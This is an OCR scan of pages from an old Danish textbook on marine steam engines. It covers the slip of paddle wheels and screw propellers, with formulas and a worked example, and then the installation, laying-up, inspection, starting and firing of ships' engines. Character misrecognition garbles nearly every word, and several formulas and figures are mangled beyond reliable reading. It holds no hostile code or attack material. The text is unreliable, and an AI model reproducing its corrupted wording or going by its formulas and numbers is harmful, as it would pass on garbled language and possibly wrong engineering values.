©fibet* «fcafligbeb, faa funne bi«fe fammenfcrtte* til en Stefultant CF, og ben JJeet
CG af CF, forn er tobret paa ©footen, btioer tig (v — h Cos. w), naar w er ©foolen*
*
, • . Digitized by Google
**•• ■ • . 1.1 ■■ ' „
55
Sinfet mel nertical, BAC. Sfter Ibeotien flutbe Jrljftet paa ©fotlen sette proper»
tionali meb (v — h Cos. w) a cg mel Stredet af ©fonten ; legge SDele finber fun til*
ncermelfe*tii* ©teb i Skaji*; SBirfningen mobijicereS nemlig teb at SBanbflaben nebtttjffeé
og bliter noget lasere ftraj fotan fot hjulet, famt teb at fl ete ©fonler ete f Sknbet
paa engang, bnorneb bette fatte* i fflenoegelfe af be fotangaaenbe ©foolet, faatebe* at
Slnflag*baRigbeben mob be efterfølgenbe Miner minbte. galgen af alt bette et, at
MobRanben mob hjulet* Ombreining nof to jet mob Slnflaganinfelen w, men iffe
i faa fiott gorbolb fom ben efter Ibeotien ffulbe toje; tfrfaring nifer nemlig, at faa*
lange ben ftorfte SSarbi af w iffe onerftiger 40 a 45 Staber, eller fetab fom et bet
famme, SBanblinien iffe naaet fakte enb til 0,23 a 0,3 af Stabien til ©fonletne*
SRibbelpuncter, faa er gorbolbet raellem v og h naa bet MoermeRe eonftant, og gor*
(fjellen v — h etter ben faafalbte ©lis temmelig not V* af h etlet Vs af v. Unber
benne Setingelfe fan man altfaa, naat ©file* $aftigfeb h et ginen, fege hjulet* $a»
Rigbeb v teb at lagge Ve h til; v biniberet meb hjulet* Rkripberi (Mabien tegnet
til ©fotlente* Mibte) gitet ©lagene* Slntal. Seb at labe hjulet gaae bpbete fan
man tiftnof forminbffe ©lagene* Slntal, men bette et uforbeelagtigt. Jrpffet paa ©fotlen
et nemlig lobret naa ben, og betegne* bet meb P, faa titfer fun®elen P Cos. w til
at brite ©ffbet frem, men P Sin. w titfer i tettical Metning og fremfalbet ben
befjenbte Mnfielfe bo* $>juljfibe. got ftort ®bbgaaenbe af hjulet fpilbet altfaa Srafi.
®a en ti* goranbring i ©fibet* Dtjbgaaenbe far flerre Snbflpbelfe naa w, naar SRabien
er liben enb naar ben er flor, faa falger beraf igjen, at jo flarte $jul man fan bruge,
befto bebte. Siogen naalibelig gotmel fot ftormeget ©lagene* Slntal aftager, naar ben
anførte flørjte SBarbte af UnflagStinftlen otetfftibe*, fat man iffe ; man inbrettei berfor
altib $juleue faa, at ©fotletne funne flptte* naa Mabierne inbtil Maffinen neton fan
forbruge ben ®amp, fom Rjeblen leterer; ba til nemlig garten blite faa flor fom ben
unbet be gitne Omftanbigfeber fan blite.
Detfom SJlotgan* fijul bragte ©fotletne neb i og on af SBanbet i nøiagtig
tertical ©titling, faa biet Stnflag*faftigf eben mob bem lig v Cos w — h, og be tilbe
ba gine betfbelig flerre ©lin enb ^julene meb fafie ©fonler. Stien af tibligere anforte
Orunbc giter man ogfaa bi*fe §jul* ©fonler nogen ©fraafeb teb 3nbtr®belfen i og
Ubgangen af SBanbet ; gorffjellen fommet faalebe* til at befiaae i, at man fan labe
Morgan* $jul gaae meb en jtorre 5Peel af IRabien i SSanbet, fotinben ©fotlen* Sin»
flag*tinfel Miner faa ftor fom ben uben ©fabe fan toere. ©lippen Miner ba ben famrae
fom for #jul meb fafie ©fonler. ®aaet hjulet minbre bpbt, faa bliter ©linten libt
jtorre, Srafttabet og Mnficlfen libt minbre. ©ammenligner man imiblertib be Siorganffe
$jul meb anbre £jul, ber iffe gaae bpbete enb be bor, faa er ©eninfien neb bet
befnarebe Sfraftiab iffe bettjbelig ; man bar anflaaet ben til 6 % af §eftefraften om»
trent. Sun naar man et nebt til at bentjtte fmaae $jul, og iffe fan Rptte ©fotlerne
naar ©fibet* Dpbgaaenbe foranbte*, til ©eninfien i Cffett teb be Morganffe -£>jul
onteie bere* SRangler.
S 10. lietfom en ©frue, ber briter et ©fib frem, gif i en fajt SPiottrif
ijlebetfor i SBanb, faa tilbe ©fibet* Ski i en ti* lib blite lig ©lagene* Slntal i
benne Jib muttinlieeret meb ©fruen* ©tigning; man pleier at falbe bette $robuct
©fruen* £aRigbeb. SRogen MobRanb af Sanbparfiflerne mob ©fruen* Slgterfant op»
Raaer berimob forR naar ©fruen jTpber bem afteien, eller naat btt er en Slnflag*»
baRigbeb tilRebe; bet er altfaa flart, at ©fruen mag atbtibe meb ©lip ligefaatel fom
'igitized by Google
56
$julene. ©eb ©ebømmelfen af benne ©Up fan man imfblertib iffe fammentigne ©fruens
|>aftigf>eb meb ©fibet* ligefrem, forbi ber i ©fibet* Kjølvanb, fjcori ©fruen arbeiber,
er en ©trømning, fom følger ©fibet raeb en beftemt Deet af betteø $a ftigpcb ; i ©jen-
nemfnit fan man anfoetfe benne SDeel til ‘/s af ^aftigbcben ; ben er noget minbre fot
meget ffarpe ©fibe, noget jtørre for fplbige. Sanbct ubfplbet nemlig jtcbfe bet IRum,
fom ©fibet unber fin gremfart fotlaber, »cb at beoaege fig ben fortefte Sei pen imob
ben unboigenbe glabe, altfaa i SRetninger, fom ere lobrette jrna enpoer Deel af benne;
jo fplbigere Slgtcrffibct, ifatr noermejt forenfor ©fruen, er bannet, bejlo fløtre SDeel
af Sanbpartifleme* $aftigpeb falber forefter, og befto fiørre bliver ©fruen* oirfelige
©lip. ©etegnc* benne meb S, ©ligningen meb 1, ©fagene* 2lntal meb n, og er
tp ben ©røf, pvormeb ©fibet* fjaftigbcb h maa multiplicere* for at give $aftigbeben
relativt til bet Slant, fjoori ©fruen arbeiber (<p altfaa = 0,8 for SMibbel* ©farp»
beb agter) faa er S = nl — <ph. SUieO Qvabratet paa S et ©fruen* frembri*
Venbe Kraft proportional. ©en tilfpnelabenbe ©lip, etler gorjfjetlen meUern nl og
©fibet* be^ 4jaftigpeb h, er altib minbre enb S, og fan for fplbige ©fibe enbog være
negativ, b. e. h jtørre enb nl, uagtet bet er ©fnien, fom briver ©fibet frem. Ogfaa
ffarpe ©fibe funne pave en negativ tilfpnelabenbe ©lip for ©fruen, naar be benptte
Seil i gotening meb SWaffinen, pvilfet iffe betegner anbet enb at ben virfelige ©lip
oeb ©eilcne* £jatlp er bleven minbre enb faebvanlig. Ogfaa naar ©fruen er affoblet
og floeber, maa man fammenligne nl meb yh og iffe meb h; tph er ba flørte enb
nl, faameget fom bebøvc* fot at overvinbe Sljelen* griction.
gølgenbe empirijfe gormel, ber er nblebet af en ©Icrngbe gorføg meb ©fruer af
forffjellig gotm og paa forffjetlige ©fibe, giver ben virfelige ©lip s i ©rocent af
©fibet* £aftigpeb h (i gob pr. ©ecunb) naar 1 er ©fruen* ©tigning, r ben* SRabiu*
til gtberfant af SBlabene, m IBlabene* Slntal og å ben ©røf af ©joengen, fom pvert
©lab ubgjør:
sj, 36 Mo» j/T. l l «
r> s ? m 0 - 7
og et n Slntallet af ©lag pr. røinut, faa er
n = (0,6 s -f 60 tp). -?j-.
3 labeHen over Dampffibe bag i ©ogen et fnmmenftitlet enbeel obfervebt ©ær»
bier af n meb be efter gormelen beregnebe; tp er berveb forubfat lig 0,8, unblagen
fjvor ©fibet* gorm par givet Slnlebning til at antage en anben ©oerbie, fom ifaafalb
finbe* anført i labcQen.
©fal man eonjtrucre en ©frue til et givet ©fib, ber ffal gjøre en given gart,
faa føget man #eftefraftcn efter ben anben gormel i § 7; er, omvenbt, $cftefrafien
given, faa føget man h. r og m ere gjerne givne; 3 vcelge* meUern Vi* og V», og
man fan til antagne Serrbier af 1 beregne be tilfvarenbe af n, og voelge ben, fom ub»
bringer ben forlangte $ejiefraft meb paøfenbe •giafligpeb af ©templet og Diameter «f
Splinberne. 6t Cfrempe! vit tpbeligft vife gremgangømaaben. Stntag at et ©fib meb
200 Cvabratfob SKibbelfpant ffal frembrive* meb 10 Knob* gart af en firblabet ©frue
meb 10 gob* Diameter, gfter § 7 faae* H = 0,000464 X 200 0 ’ 8 X 16,66 3 Vi =
302 £efie* Kraft, ©fruen* $afiigbeb maa være ftørre enb 10 Knob etler 1000 gob
pr. URinut; antage* foreløbig 50 ©lag pr. SRinut, faa faae*, at Stigningen maa være
ftørre enb 20 gob
Digitized by Google
57
Sil 1 = 24. 26. 28. 31 gob.
8 = 60,4 % 64,5 68,3 74.3 %
n = 58.5 55.5 53.0 49.9 ©lag.
<Sn ©frue, boiø Stigning et 3 ®ange Diameteren, sil imiblertib tare meget tilbøielig
fil at røre Sanbet op naar Stobjianben, seb Sint) forinb eller beølige, jtiger, cg ba
»ifet ffirfaring, at Siaffinen fan sebblise at gaae meb fulb #afhgbeb paa famme lib
fom ©fibetø gatt aftager betpbeligt. Det sil berfor seere btnftgtømaøftgere at labe
Srøaffinen gjøre 60 ©lag, IjBorit! sil fsare en ©tigning af 23 gob. ®jøt man
©fruen fejblabet iftebetfor jxrblabet, faa silbe 50 ©lag frase 28 gobø ©tigning, 60
©lag fun 21 gob, og benne Sombination sil sære noget nar ben fjenfigtémoeéfigfte
for faa liben Diameter af ©fruen i gorfjolb til garten. <Sn toblabet ©frue silbe
omtrent frase 70 ©lag pr. DWinut for at funne faae en nogenlunbe botjtgtømaøftg
©tigning.
2 Staffiner af tilfammen 302 #eftcø Jfraft og meb 60 ©lag ør. Siinut er
1 51 V 2,91 00
' 60 ^ ~ = 73235 W pt> ® k 8 5 cm °9 tH6a 9 e cIIfr 36617 pr - tnfeU
©lag af b»«t Gplinberflempel. Slntageø 15 B Damøtrøf i Jfjeblen og '/a ©SPanfion,
faa bliser 3«bicatortri)ffet, om Saturn øaa ®tunb af Staffinenø temmelig fiore $ajtig»
beb antageø til 8 ffi", 18.3 og bet effeetise Irpf 13. s B ; betegneø altfaa ©plinberenø
36 617
Diameter meb D og ©lagetø fiangbe meb s, faa er —7 — . s = ' „ ■ og D a . s =
4 10,0
3378. Silbe man base Diameter og ©lag lige, altfaa 12 s — D, faa bles D =
^ 3378 x 12 = 34.36 lomme og ©temøletø Sei ør. Stinut 343.5 gob. Sfeb 2Va
gob ©lag eller 300 gob Sei af ©templet pr. SDlinut bles ©plinberbiameteren 37
lommer, og bette gorbolb (temmer narmejt meb ben nu gangbare Srapiø for Staffiner,
fom brise ©frue.
Digitized by Google
I
gjette fajrM
Ora 2Haf!inernc$ ®rug.
§ 1. Sfterbaanben fom en ©ampmajfinea ©eie Mist forfarbigebe, opftiUea
og fammenfcettea te i SOcerfficbet. 9laar ben bele Maffine, fijebler og SRor berunber
iRe inbbefattet, «r opftiDet, faa mcerfea en boer ©eel faalebea , at man fan fee, poor
ben burer ben, og ber forgea, beeia oeb Mcrrfelinier, beeia peb ©tprepinbe, fom fiaae
fafJ i ben ene af to fammenperenbe ©eie og paafe noiagtigt i fmDer i ben anben, for
at atle ©eie peb OpftiDingen omborb funne blioe ftiOebe noiagtig ligeban. ©fjonbt
ben forfie OpfJiding af en np Majfine i et ©fib, og beit bcrtit borenbe lilpaaning af
9lor, Slnbringelfe af Jtraner, m. m. er et Slrbeibe, fom frcroer formange reent praftiffe
$aanbgreb tit at funne loerea anberlebea enb oeb $raria, oil bog et Omriba af 2tr*
beibeta ®ang funne poere til Dtptte, faa#et oeb 3nbfoetning af en atterebe titpaafet Ma*
(Tine efter Separation, fom naar man (Tat unberfoge, om Maffinbelene bare bibefjolbt fin
rigtige ©tiRing efter nogen ©ba SBrug.
©a {lorebfljelcnS S|3laba i ©fibet bcfiemmea af bettea Sonfiructeur, maa man
peb OpftiDingen gane ub fra benne Stjela Senterlinie, ber gjorea fbntfg oeb en ftin
men floerf ©ilfefnor, fom ubfpoenbea meEem bena Snbepuneter. ©fibeta ©iametralplan
er ligetebea angioet Peb SFicerfer fra ©fibeta Signing (eder man maaler fig til ben fra
©iberne) ; i bette IfJlan ffal Maffinena røibtlinie anbtingea. (Snfcelig er i birecteoir»
fenbe ^juulmaffiner ogfaa ben ooerjic Sammea iJSlaba paa bet ncermefte beftemt peb
be SBjælfer, boortil ben ffal boltea. Man maa nu, Peb Maal, tagne paa ben i fficetf»
ftebet opRiDebe Maffine (beDere enb paa iegningen) og ubfatte fra be gione glaner
og ben gione fiinie, beftemme Ooerfanten af be forjfjeDige ©eie af ©leepera og afrette
biafe. Maffinbelene funne ba tagea omborb; i finab Orben bette ffal jfee, folger ncr»
f!en altib af Majfinena Sonftruction. 3 en birecteoirfenbe Maffine fom gig. 56 fom»
mer faalebea SBunbplaben forft, berpaa Splinberne paa berea peb ©tprepinbe beflemte
DJlaba paa benne; Splinbetnea SRrcr, fom man fan gjote fpnlige Peb ©note gjennem
Sentre, ubfatte nebentil og ooentil paa inbfilebe Iræjtpffer, (Tutle begge træffe $ooeb»
ajelené Senterlinie, og Splinbernea Ooerfanter ffuDc fiaae lige langt fira benne Sen»
terlinie. 3»btil bette er opnaaet maa SBunbplaben flpttea og, om fornobent, opfilea
meb brebe 3ernfiler faalebea at ben opera It par folib Unberftcttelfe. Soar bette er i
Orben fan £>uDer for be SBolte, fom fæfie Maffinen til ©leepera, borea, famt SBoltcne
inbfoettea og tilffruea, booroeb naturligoiia maa paafeea, at ©tiDingen iffe igjen for»
rpffea. SRefien af Maffinena ©eie pil fiben funne bringea i fin ©tiEing peb $jcelp
af be i SBoerfjiebet ubfatte Moerfer. Saar loprammen meb WreDagerne er inbe, faa
blioer at unberfoge om fiagernea Sentre ligge i een ret fiinie, inbbprbea og meb be
pbre fiagere for ^juulajelen; til ben Snbe anbringea $alocirfler af 3<tnplabe, meb
Digitized by Google
59
ubfat Senter, i Sagerne, og en Snor ftroeffeø mellem be to tjbetfle Sentre; efter benne
funne ba be fornobne Stettelfer foretageø.
Slf ‘PtoSeHermaffiner maa bet agterffe Ijelflbffe meb <Probetleten seere tnbe før
©fibet løber af ; gorlcengelfen af Jg>t)Tfen3 Senterltnie, ber fiben (Tat bentytteø fom Sen»
terlinie for SStajTinenø #osebarel, maa ogfaa Bare ubfat og betegnet meb faabanne
SMatfer, at man efter Stflebningen fan benntte bem fom ttbgangøsuncter. ©a ©fibet
seb at fomme saa SBanbet gjeme fjølbrijbeø noget, faa maa Senterlinfenø forrefle Snbe
fatteø Vn å 1 lomme bøtere enb ben sar ba ©fibet ftob saa Sebbingen. #sorsibt
man fmr truffet bet Slette, fan man jtben fee saa floblingerne; gtibe biøfeø SStnbe ub
og inb t bereø gullet naar man breier SIrelen runbt, faa er Sentertinien brubt; seb
at fammenltgne to og to biametrait mobfatte Stillinger ubftnber man let fisab Sei
Slettelfe maa foretageø. Signenbe Unberfogelfe og Slettelfe maae naturligsifø ogfaa
foretageø fenere ben, ba Sjølbrsbningen søjer, naor ©fibet biiser albre. — Slfftanben
fra ‘jjrosefleraretenø Sager til tKaffinajelenø ubfatteø saa en lang Jrcefiof (©iifmaal)
efter felne Stretft^fferne, meb bet beflemte SMemrum for Stoblingerne ; efter ©tifmaalet
fan man ba beflemme OTaffinenø fJJlabø i SangfTibøretningen. gorøsrigt btiser grent»
gangømaaben i bet Soefentlige ben famme fom seb Jnbfatningen af en £juutmaftine.
§ 2. Staar et ©amsftib laggeø os, bør SKaffinen attib tageø fra binanben, mere
eller minbte efter OsIagningenØ SBarigbeb. 2UIe minbre, besagelige ©eie, og faasibt
muligt alle blanfe Jernbele bør osbesareø ilanb, sel oserfmurte meb lalg ; b #a &
biiser omborb osetmaleø meb en Slanbing af Jalg, Olje og ©lt)f>»ibt , til Seffbttelfe
mob Shift, ©templer og ©liber tilligemeb be glaber, bsottmob be sanbre, bør beffstteø
Saa benne SKaabe ; osbesareø ©temsler o. b. omborb, bør be ligge saa bereø SBlabø
og Saagene, oser Sslinbere, ©libefTab, m. m. ligge saa, til Sefftjttelfe mob ©tøs
og ©tsb.
Sjeblerne ere be ©eie, fom libe meefl unber Oslag, ba be rujte inbenfra; for
faasibt muligt at befatte bem bor be seb Oslagningen reengjøreø og tørreø, famt
oserfmøreø meb lalg og Olje. Stifterne ubtageø, TOonometre og anbet lilbebor bøt
fieljt osbesareø ilanb. San man bolbe frifft Sufttrcef seblige i bet Stum, tøsor fljeb»
leme jtaae, faa bor Stanbbulølugcr, SMubberluger o. b. ftaae aabne; i anbet galb gjøt
man bebre i at luffe alle puller toet til efter at hase gjort Sjeblen faasibt muligt teen
og tør. Slnbringelfe af en sanbfugenbe ©ubftantø, fom Sblorcaleium, inben i bet
luffebe Stum sil fanbfsnligsiiø unber biøfe Omftanbigbeber seere benfigtømæøftg.
§ 3. Seb Ubruflning efter letngere Jibø Oslag bør enbser Sjeble saa bet
nøiejie unberføgeø, før ben tageø i ©rug. $>sor ?j(aberne føneø at seere angrebne
fan man unberføge J^ffelfen seb at bore et libet $ul igjennem, fom ba fiben lutfeø
meb en Slinfnagle. 3 Sastrbføfjebler bør, fisor ©jffelfen er minbre enb '/s af ben
osrinbelige, en Sas Saafoetteø; .§øitrhføfjfbler taale befio minbre ©soeffelfe seb Stujt,
jo ftørre Irsf be ere beflemte til at bmge. Grn i mange Silfoelbe benfigtømoeøfig fjor»
bolbøregel er at forminbffe Saften saa ©ifferbebøsentilen noget, naar Sjeblen biiser gam»
mel; men TOaffinenø $e)tcfraft biiser naturligsiiø berseb forminbffet. Sifer en Sjeble
ftg i bet $ele taget miøtoenfelig, faa bør ben srøseø meb Sanbtrbf; man ftjlbet ben
ganffe meb ffianb og sraøfer mere inb meb ©tyførnnse, fnbtil Sentilen løfter fig. ®n>
felt minbre Sæffage, i SJaglchulter eller beølige, finbeø ofte enbog i nøe Sjebter; be
rufte gjerne fnart igjen af fig feis. SJiblertibig fan man taette faabanne Seeffager meb
trasinbe; naar biøfe base Sanb saa ben ene ©ibe, ftaae be fig en lib lang wnbog
Digilized by Google
60
i 3lbgangene. 3 granfrige er beftemt, at alle ©ampfjebler Jib efter anben ffutte pro*
teø ineb Sanbtrpt mcb bobbelt Saft paa Sentilen. gor SaBtrpføfjebler er bag en
faaban goranflattning minbre ncbtenbig, og tan i mange Jilfalbe lebe til Obelcrggelfe
af Hjebler, forn uben gare ftinbe ootret brugte enbnu t nogenlib. Staar en Æjeble er
bebørig efterfeet, paafoetteø alle aftagne £elc; itraner og beølige tcetteø i gugen mob
itjeblen meb Sit, Sugerne meb et Sag glatting, ooerfmurt ineb flit. Side itrancr og
Senttler prøteø om be funne aabncø og luffeé meb bebørig Setbeb og om be f?otbe tat,
•fjtor Utalbeb finbeø, fan man flibe J>elene fanimen meb Smergel, men ba man »an*
ffelig fan faae benne fulbjianbig bort igjen, forøgeø Slittagen. SDet er berfor bebte
at ffrabe faabanne SDele fammen. Jil ben ®nbe oBetfmorer man ben ene af 35elen<
meb et tpnbt Sag SWønie, ubrort i Sanb, fatter beit paa Splabø og feet efter om gat*
Ben bar gitet Slftnjf paa ben tilfnarenbe glabe. (Ir ber bare, altfaa forbpbebe (Sletter,
faa ffrabeø Ubt SØtetal af meb et ffarpfantet Staal paa be Steber, forn ba»t ligget
an, og gorføget gjentageø inbtil Slftrpffet bliter eenøformigt. Jil bette Strbeibe ub»
forbreø imiblertib nogenlunbe øtebe golf, om bet ffal gaae rafft fra #aanben. Sif*
ferbebøtentilenø Sob bor, ialfalb efter langere Jibø Oplag eller Brug, teieø, om btt
frembringer bet forlangte Irpt. glbbrpggcnø UJiuurBcerf bebcoer ogfaa jeonlig (Ifterfpn
og gompelfe. Sammenfatningen af SWaffinen unber Ubrufining foregaaer forøsrigt
efter famme $otebregler fom ben førfle 3nbfatning. SlUe oBermalebe ®ele, forn flnlle
Bare blanfe, renfeø ombbggeligt og bringeø paa Slabø — bc tpngfle i Sllminbeligbeb
førft. SUIe OBafninger inbloeggeø. Slaterialiet til biøfe er beelø $amp eller Sornulb,
beelø ben faatalbte (JSatentpafning, ber btftaaer af Seilbug, oBerfmurt meb Sibffelabet
og oprullet. Ogfaa fammenrudct Ulbtøi og Saugfpaan base meb gorbecl oaret an*
oenbte. Safningømaterialiet bør for 3nbl*gningen tare tel gjennemtruffet meb Jalg.
Jilffruningen af Safningølaagene fan i Sllminbeligbeb iffe blite fulbjianbig før røa*
ffinen et blesen optarmet af Oarnpen, ba lalgen ellers et ftørfnet. Sllle Smørebuller
renfeø og be bertil befiemte forfpncø meb Slager, ©amprørct flaebeø meb ()3latting og
Seilbug j alle iffe afpubfebe SJiaffinbele maleø.
§ 4. Unber Sammenfatningen bør en 2JJaffine, faafnart bet fan ffee, biteø
runbt, peb •gijalp af hjulene eller af ben bertil befiemte Ubtepling. Stemplernei Slf*
flanb fra Sunb og Saag teb (rnberne af Staget, Ber falbeø ftlaring og pleier at ub*
gjøre V« lomme, maa unberføgeø, ba ben foranbreø teb Slittage i gorbinbelfeøftan*
gerneø Sagermetaller. Seb Unberlag af Slit mellem Sffletallerne og Stangen funne
geil i Jtlaringen retteø. gplinberneø Stilling er i SllminBetigbeb faalebeø ftffret teb
SKajtinenø (lonjlruction, at ben iffe fan foranbre jig; fun i be oøfcillerenbe Slaffiner
et bet nøbtenbigt at efterfee om Japlagerneø Slittage l;ar foranbret ben. ®re Sagetne
ulige flibte, faa til Stempelfiangen glibe paa Arumtappinben ; ere be lige flibte, faa
Ijar Stemplet minbre filaring forooen enb forneben; i begge lilfalbe er Dtummet for
Safningen om Samprøret bleten epcentriff. gorefunbne geil retteø teb Unberlag eller
teb at man gioer SWetaUerne en tpf gortinning paa Unberfiben. SaDancemaffinerne
baBe unbertiben Splinberne jiaaenbe paa foerffilbte Sleeperø; man maa i faa galb toere
opmaetffom paa om Stempelfiangen tifer lilbøieligbeb til Sibebesoegelfe i Safbøøfingen.
Sit Sibefloengeme i biøfe Slaffiner ere nøiagtig lige lange mellem Sagerneø Sentre bør
teb ®ftermaaling unberfogeø.
gør Slibejfabet luffeø bør man, om SWafftnenø Sonflruction tillaber be», efterfee
om Slibeme b aDe gorfprang (lead). De bør nemlig, ibet Stemplet er teb
logle
z ed by
61
@nben af ©lagd, atlerebe bast aabnet 3nbgang*porten Va å V« lontme. ©tibcbe*
oagelfen fan man ogfaa unber ®angen controQere oeb $jatp af 3nbieatoren, fom ftben
ffal oife*. got ®umperne* Sebfommenbe et Rtaringen og ®entilerne* Jætbeb at ef>
terfee og tette baa, om bebooe*. 9taar en Wajfine et fulbfiotnbig fammenfat og prcoet
oeb SRunbbioning fot #aanb bot man tabe ben gaae runbt fot 25amp, fotjt ganffe
fagte mebeno ©fibet ligger fortoiet; jiben gjore*, om Stnlebning gioe«, en ®rooetuur.
§ 5. 9tanr et ®ani»ffib ffal gjore* flart til @ang begpnber man meb at
fplbe Rjeblerne. 8igge bt«fe tilflraffelig bpbt, faa fan gplbningen fotegaae a tiene oeb
Babning af løunbfranen, fom man maa pa«fe paa at luffe, naar Sanbet i Rjeblen $ar
naaet fin rette Jpoibe. Sigger betimob Rjeblen* SBanblinte oser ©fibet* , faa maa
gtjlbningen fulbfore* meb #aanbpumpen. ©ifferbebooentiten fatte* aaben fot at £uflen
fan flippe ub efterfom ®anbet troenger inb ; fun §oi« man et i loiol om, booroibt Rjeb*
ten faacr ®onb eltet iffe, luffer man Sentilen og aabner en af ®rooeba nente , fot at
fote om bet blafe* £uft ub af ben. 3lbene gjore* flare tit Janbing oeb at man i
31bfteberne inblaegget fetmfiore Stut og i ben forrefte Deet fmaaflooet ®ranbe meb Rut
ooenpaa ; btugt ®omutb«ajfatb og lignenbe ling , anbragte btanbt ©rænbet, letter
Janbingen. 3lbfleb*brrene bolbe* aabne inbtil Sfuttene ere fomne i ®ranb; ©iffer*
beb«*enti(en fotblioct aaben inbtil ®anbet er fommet i Rog og fiuften ubjaget af Rjeb=
ten; ®aaflipning*oentiten aabne* iffe fot man flat gjote flat til at gaae. Unber
OpfKringen fplbe* alte ©mcrefoppet og Sagetne fatte* i. ©tiberne Ritte* baa Ralet
©tag og alle 2lftapning*franer aabne*.
9taar 25ampen er obbe, ffal SWajfinen oboarme* og gfennemblafe* ; fJSaaflip*
ning*bentilen aabne* herfor libt, ©trubeoentiten ligetebe*; bar man fcttffilte Rtaner
tit at flibbe 25amp inb i Golinbercn paa begge ©ibet af ©templet paa engang, faa
aabne* bi*fe; boi* iffe, faa maa ®amb flippe* inb paa een ©ibe ab ©angen oeb
®eoagelfe af ©liben, men man paafeer ba at be to SWajfinet fomme til at oitfe imob
^inanben; be*uagtet oil fDtaffinen let fomme til at beooege fig en IDeel af et ©lag,
boorpaa man paa $juljlibe maa octte opmarffom. 9taar ©libeffab og QEplinbere ere
bfeone nogenlunbe oatme, faa opbore be at forlatte ben inbftrommenbe SDarnp, og bennt
oif ba fnatt fttomme ub af 9tftapning«franeme, boorefter bi*fe funne (uffe*. fRaar
gortatteren ogfaa er gjennemblaji, (uffe* ©trubeoentilen og man er flat tit at fatte
i ©ang.
9taat man bat (o* Svcentrif, faa maa ©liben unber 3gangfatningen brioefl
fot $aanb; man begpnber meb ben lUaffine, fom ftaar narmeft paa balot ©lag, ba
ben bar ficrfi Sitfning til at- breie Sljelen, og fiillet ben* ©libe faa at 25ampen ftipper
inb paa rigtig ©ibe af ©templet; OJtajlinen oit ba begpnbe at gaae og man rnanco*
reret ©tiberne efter ®eoage!fen. ©fat ber fun gjore* et etter et ®ar ©lag, faa
beboeer man i Sllminbetigfjcb iffe at flippe fotbt ffianb inb i gortatteren; man fatter
ba iffe Retter ©icenterjtangen i ®irffombeb; ffal man betimob bolbc gaaenbe meb bet
famme, faa gioe* ftrar libt Rolboanb, og SjcenterRangen tage* i ®rug, faafnart 2Jta»
Pinen Rat gaaet runbt, een etler botji to ©lag. $ar man Sanfebeoagelfe, faa et meb
•fjenfpn paa ©liberne intet anbet at iagttage enb at Rlobfen jtitle* oeb rigtig Snbe af
®uen. Om ber er StpanftonSflibe, maa ben unber 3g«ngfatningen oare fat ub af
SirffomReb. 25a grictionen ibet Seoagelfen ffat begpnbe er fjenbelig flotte enb unber
®eoagelfen, faa bebooer man ofte, for at faae SUiafTinert igang, at fjolbe ©trubeoen-
titen temmelig meget aaben i bet forfle Oiebtif ; ftben luffe* ben 3 U etter mere, for
5 S le
62
at URaginen tan gaae fagte be ftfrfte Slag; uitbet biøfe bur, boiø man itfe gange
nplig fjar blaeft Sanb ub af Splinberne og faaet bem Bel oarntebe, aftapningøtraneme
polbeø libt aabne paa ®ampfiben; tt>i bet er bebft at unbgaae at Sanbet aabnet Sit*
ferbebøoentilerne t>aa gplinbeme eller flaaer Slibente fra. 2) et bcenber ogfaa let, at
Slaginen Itfe oil gaae ooer Senterne naar ber er Sanb i Splinbente. at fatte en
Slagine igang meb fulb {>aftigt>eb gras er noget man, om muligt, bor unbgaae,
ifat paa ®runb af be oolbfomme 9tpf og Slag, fora Sanb i ©plinberne ba fan
foraarfage.
Seb at aabne Strubeoentilen mere etter minbre (mr man bet i fin SØiagi at
regulere SWaginenø ®ang. SWan maa beroeb erinbre, at atterebe V« å Vio aabning
af Strubeoentilen gioer SWaginen omtrent pale #agigbeb; port langfommere funne be
flege Staftiner itfe polbeø igang, forbi Sraften unber ben uforbeelagtigRe SDeel af Sla»
get ba blioer minbre enb grietionen. 3nbfproitningøfranen maa altib folge Strubeoen»
tilenø Seoagelfer, faa at SWcengben af Solboanb regulereø efter SKoengben af IDamp;
ben ffal, fora tibligere oitp, afpaøfeø faalebeø at gortaetterené Zemperatur blioer omtrent
30°, poorøeb ben itfe oil fcteø poerfen oarm etter tolb for en oarra #aanb.
Dtaar ber (Tal floppeø, faa luffeø Snbfproitningøbanen og Strubeoentilen grai,
og Sicentergangen fapeø ub af gnbgribning, eller, meb Sanfebeoagelfe, Slobfeme gitteø
mibt paa Suen. SWaginen oil ba, oaa ®tunb af benø egen og Sfibeté #agigl)eb,
gaae enbnu libt; onfter man at pinbre bette, faa fan man firaj pille en af Slibeme
etter begge for ®ang mobfat Sei; man maa naturligoiiø ba paøfe oaa at be itfe blioe
Paaenbe for lange.
§ 6. Stebenø røaginen gaaer, maa 3lbningen — gpringen, fora bet foebnanlig
lalbeø, paøfeø faalebeø, at Sjebleme frembringe netoo lige faa meget £amp fora £Ka»
(linen forbruger. Manometret og Sifferbebøoentilen tjene i faa fjenfeenbe fora Sei»
lebning; fpnfer bet forPe, faa maa en lioligere gorbranbing tiloeiebringeø ; gaaer bet
jeonlig Damp ub af Spilbbamprøret, faa fpreø ber for garft. ®aaer ber Spilbbamo
bort uben at røonometrct oifet bet fulbe Jtpf, faa er Sifferbebøoentilen utoet og maa
tilgrabeø faafnart gee fan. #aatibgrebene oeb goringen betoe for en ®eel paa 31 b»
geberneø og enbnu mere paa SuttcneØ Seffaffenbeb ; bog gjoelbe altib folgenbe alminbe*
lige Dtegler : Sullagct paa 31 i pen bor iffe oare tpffere enb netop bepooeø for at benne
intet Steb pal blioe bar. Siellemrummene mettem Otiperne polbeø rene oeb Rrabønmg
meb et bertil inbrettet Stebffab nebenfra; engang i Sagten, eller oftere om Sutlene ere
garft bagenbe, bebooer man bog at renfe 3tipen oeb at man meb gprfpibbet gjennera
Slbgebøboren loøbrpber ben Slaf, forn bar famlet pg. IDen inberPe ®cel af Slbgebet
|7al booebfagelig inbebolbe ©teber, ben pberge betimob be fripe Sul, tf)i faa Pil ben
fra biøfe Oeb Opbebningen uboiflebe ©aøgrem oeb at prpge ooer ©lobeme opnaae ben
til fiilbpctnbig gorbreenbing nøboenbige Sarmegrab. Slbgebøboren maa iffe Paa aaben
mere enb poig noboenbig; tf)i ben flipper en for gorbranbingen uneboenbig Strom af
folb Suft gjennem Koggangene, pooroeb biéfe affjoleø. lil ben ®nbe maa gprboberen,
meb bet famme Imn bar aabnet SDoren, gpbe Suttene paa 25obplaben inb meb Slageren,
jeone Saget paa Kipen, og praj berpaa faPe npe gorfpning af Sul paa ©obplaben.
Sort 9tog bor iffe oare fpnlig mere enb meb bet famme man par f? r et, tpi ben et
